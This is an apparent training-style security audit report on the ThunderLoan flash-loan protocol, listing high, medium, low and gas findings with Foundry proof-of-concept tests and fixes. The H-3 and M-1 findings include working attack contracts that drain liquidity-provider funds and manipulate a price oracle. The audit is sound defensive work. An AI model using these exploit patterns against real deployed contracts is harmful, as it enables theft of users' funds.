ThunderLoan Protocol Audit Report

Version 1.0

GuireWire

July 16, 2024

Protocol Audit Report

GuireWire

July 16, 2024

Prepared by: GuireWire Lead Auditors: - GuireWire

Table of Contents

- Medium
  * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
  * [M-2] Centralization Risk for trusted owners
- Low
  * [L-1] Missing checks for `address(0)` when assigning values to address state variables
  * [L-2] **`public`** functions not used internally could be marked `external`
  * [L-3] Event is missing `indexed` fields
  * [L-4] PUSH0 is not supported by all chains
  * [L-5] Empty Block - Give Reasoning for this
  * [L-6] Unused Custom Error
  * [L-7] Initializers could be front-run
  * [L-8] Missing critial event emissions
- Informational
  * [I-1] Poor Test Coverage
- Gas
  * [GAS-1] Using bools for storage incurs overhead
  * [GAS-2] Using **`private`** rather than **`public`** for constants, saves gas

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

They are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The GuireWire team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
```

```
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Audit deemed to be successful as we identified 3 high severity and 2 medium severity vulnerabilities.

These bugs ranged from Price Oracle Manipulations, Centralization Issues, Storage Collisions, Failure to Initialize and Bad Upgrades.

We spent 6 hours on the audit.

Issues found

Severity	Number of Issues Found
High	3
Medium	2
Low	8
Informational	1
Gas	2
Total	16

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description:

In Thunderloan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However the `deposit` function updates the reate, without collecting fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Impact:

There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem.

Proof of Code

- Place this into `ThunderLoanTest.t.sol` and run forge test.

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation:

Remove the incorrectly updated exchange rate lines from `deposit`.

Code Snippet

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description:

`ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgrade-able contracts. Removing storage variables for constant variables also breaks the storage locations as well.

Impact:

After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concept:

The test below shows how the storage variables are mixed up after the upgrade.

Proof of Code

- Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation:

Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

Code Snippet

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description:

It was noted that by calling a flashloan on `ThunderLoan` and then using the `ThunderLoan::deposit` function instead of `ThunderLoan::repay` users, this allowed for the option to steal all LP funds from the protocol.

Impact:

The `deposit` function allows malicious users to steal all funds from the protocol by tricking the Flashloan into repaying (the unintended way).

Proof of Concept:

1. User takes out a flash loan
2. User calls `ThunderLoan::deposit`
3. User steals all funds by using the `redeem` function

Proof of Code

- Place this into `ThunderLoanTest.t.sol`

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

```

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation:

Force users who take out a flash loan to call `ThunderLoan::repay` instead of `ThunderLoan::deposit`.

Or alterntively, have some sort of check for the `deposit` function where it sees if the `msg.sender` has any "open" flash loans.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description:

The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact:

Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
2. User sells 1000 `tokenA`, tanking the price.
3. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
4. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

Code Snippet

```
    function getPriceInWeth(address token) public view returns (uint256
       ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
           token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();
    }
```

1. The user then repays the first flash loan, and then repays the second flash loan.

Proof of Code

- Place this into `ThunderLoanTest.t.sol`:

```
function testCanManipuleOracleToIgnoreFees() public {
        //1. Setup contract
        thunderLoan = new ThunderLoan(); //make new thunderloan
           contract
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
           ;
        pf.createPool(address(tokenA)); //to create pool
        //Create a TSwap DEX between WETH and tokenA
        address tswapPool = pf.getPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank(); //Ration is 100 WETH = 100 TokenA = 1:1

        // 2.1 Set allow token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // 3. Add liquidity to ThunderLoan / Fund ThunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // TSwap has 100 WETH & 100 tokenA
        // ThunderLoan has 1,000 tokenA
        // If we borrow 50 tokenA -> swap it for WETH (tank the price) -> borrow another 50 tokenA (do something) ->
        // repay both
        // We pay drastically lower fees

        // here is how much we'd pay normally, ie take out a regular flashloan
        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(tokenA, 100e18);
        //console.log("Normal fee is:", calculatedFeeNormal); //0.29 is normal fee cost
        uint256 amountToBorrow = 50e18; // 50 tokenA to borrow
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18); // mint our user 10 tokenA for the fees
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 calculatedFeeAttack = flr.feeOne() + flr.feeTwo();
        console.log("Normal fee: %s", calculatedFeeNormal);
        console.log("Attack fee: %s", calculatedFeeAttack);
        assert(calculatedFeeAttack < calculatedFeeNormal);
    }

// This contract is used to attack the flashloan
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    bool attacked;
    BuffMockTSwap pool;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address tswapPool, address _thunderLoan, address
        _repayAddress) {
        pool = BuffMockTSwap(tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = pool.getOutputAmountBasedOnInput(50e18,
                100e18, 100e18);
            IERC20(token).approve(address(pool), 50e18);
            //Tanks the price!!
            pool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                expected, block.timestamp);
            // we call a 2nd flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
            // Repay at the end
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // IThunderLoan(address(thunderLoan)).repay(token, amount +
                fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            feeTwo = fee;
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // IThunderLoan(address(thunderLoan)).repay(token, amount +
                 fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
}
```

Recommended Mitigation:

Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle (Can be flashloan resistant).

[M-2] Centralization Risk for trusted owners

Description:

There appears to be centralization risks for trusted owners since Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Impact:

Centralization is a serious issue. The point of DeFi is to be decentralized. This impacts users trust in the protocol.

Proof of Concept:

Instances of centralization risks found within `ThunderLoan.sol`:

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 243

```
    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 269

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
         {
```

- Found in src/protocol/ThunderLoan.sol Line: 297

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
    function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
        {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

Low

[L-1] Missing checks for `address(0)` when assigning values to address state variables

Description:

Check for `address(0)` when assigning values to address state variables.

Proof of Concept:

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
        s_poolFactory = poolFactoryAddress;
```

Recommended Mitigation:

Check for `address(0)` when assigning values to address state variables.

[L-2] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 235

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 281

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 285

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

[L-3] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

9 Found Instances

- Found in src/protocol/AssetToken.sol Line: 31

```
    event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 105

```
    event Deposit(address indexed account, IERC20 indexed token,
        uint256 amount);
```

- Found in src/protocol/ThunderLoan.sol Line: 106

```
    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
        asset, bool allowed);
```

- Found in src/protocol/ThunderLoan.sol Line: 107

```
    event Redeemed(
```

- Found in src/protocol/ThunderLoan.sol Line: 110

```
    event FlashLoan(address indexed receiverAddress, IERC20
       indexed token, uint256 amount, uint256 fee, bytes params);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 105

```
    event Deposit(address indexed account, IERC20 indexed token,
       uint256 amount);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 106

```
    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
        asset, bool allowed);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 107

```
    event Redeemed(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 110

```
    event FlashLoan(address indexed receiverAddress, IERC20
       indexed token, uint256 amount, uint256 fee, bytes params);
```

[L-4] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

8 Found Instances

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/interfaces/IPoolFactory.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/interfaces/ITSwapPool.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/interfaces/IThunderLoan.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/protocol/AssetToken.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/protocol/OracleUpgradeable.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/protocol/ThunderLoan.sol Line: 64

```
pragma solidity 0.8.20;
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 64

```
pragma solidity 0.8.20;
```

[L-5] Empty Block - Give Reasoning for this

Consider removing empty blocks.

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 297

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

[L-6] Unused Custom Error

it is recommended that the definition be removed when custom error is unused

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[L-7] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

6 Found Instances

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
     {

138:     function initialize(address tswapAddress) external initializer
     {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-8] Missing critial event emissions

Description:

When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation:

Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

Code Snippet

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
```

```
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

See below test coverage when you run `forge coverage`

Code Snippet

```
| File                                         | % Lines          | %
  Statements       | % Branches      | % Funcs         |
| -------------------------------------------- | ---------------- |
  ---------------- | --------------- | --------------- |
| script/DeployThunderLoan.s.sol               | 0.00% (0/4)      |
  0.00% (0/5)      | 100.00% (0/0)   | 0.00% (0/1)     |
| src/protocol/AssetToken.sol                  | 82.35% (14/17)   |
  85.71% (18/21)   | 66.67% (4/6)    | 88.89% (8/9)    |
| src/protocol/OracleUpgradeable.sol           | 100.00% (6/6)    |
  100.00% (9/9)    | 100.00% (0/0)   | 80.00% (4/5)    |
| src/protocol/ThunderLoan.sol                 | 76.81% (53/69)   |
  81.61% (71/87)   | 45.00% (9/20)   | 82.35% (14/17)  |
| src/upgradedProtocol/ThunderLoanUpgraded.sol | 2.99% (2/67)     |
  2.35% (2/85)     | 0.00% (0/20)    | 12.50% (2/16)   |
| test/mocks/BuffMockPoolFactory.sol           | 75.00% (9/12)    |
  82.35% (14/17)   | 50.00% (1/2)    | 50.00% (2/4)    |
| test/mocks/BuffMockTSwap.sol                 | 29.17% (21/72)   |
  27.84% (27/97)   | 8.33% (2/24)    | 36.36% (8/22)   |
| test/mocks/ERC20Mock.sol                     | 50.00% (1/2)     |
  50.00% (1/2)     | 100.00% (0/0)   | 33.33% (1/3)    |
| test/mocks/MockFlashLoanReceiver.sol         | 64.29% (9/14)    |
  64.29% (9/14)    | 50.00% (2/4)    | 75.00% (3/4)    |
| test/mocks/MockPoolFactory.sol               | 85.71% (6/7)     |
  90.00% (9/10)    | 50.00% (1/2)    | 100.00% (2/2)   |
| test/mocks/MockTSwapPool.sol                 | 100.00% (1/1)    |
  100.00% (1/1)    | 100.00% (0/0)   | 100.00% (1/1)   |
| test/unit/BaseTest.t.sol                     | 100.00% (8/8)    |
  100.00% (8/8)    | 100.00% (0/0)   | 100.00% (1/1)   |
| test/unit/ThunderLoanTest.t.sol              | 81.82% (18/22)   |
  83.33% (20/24)   | 50.00% (1/2)    | 60.00% (3/5)    |
| Total                                               | 49.17% (148/301) |
  49.74% (189/380) | 25.00% (20/80) | 54.44% (49/90) |
```

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Code Snippet

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Code Snippet

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```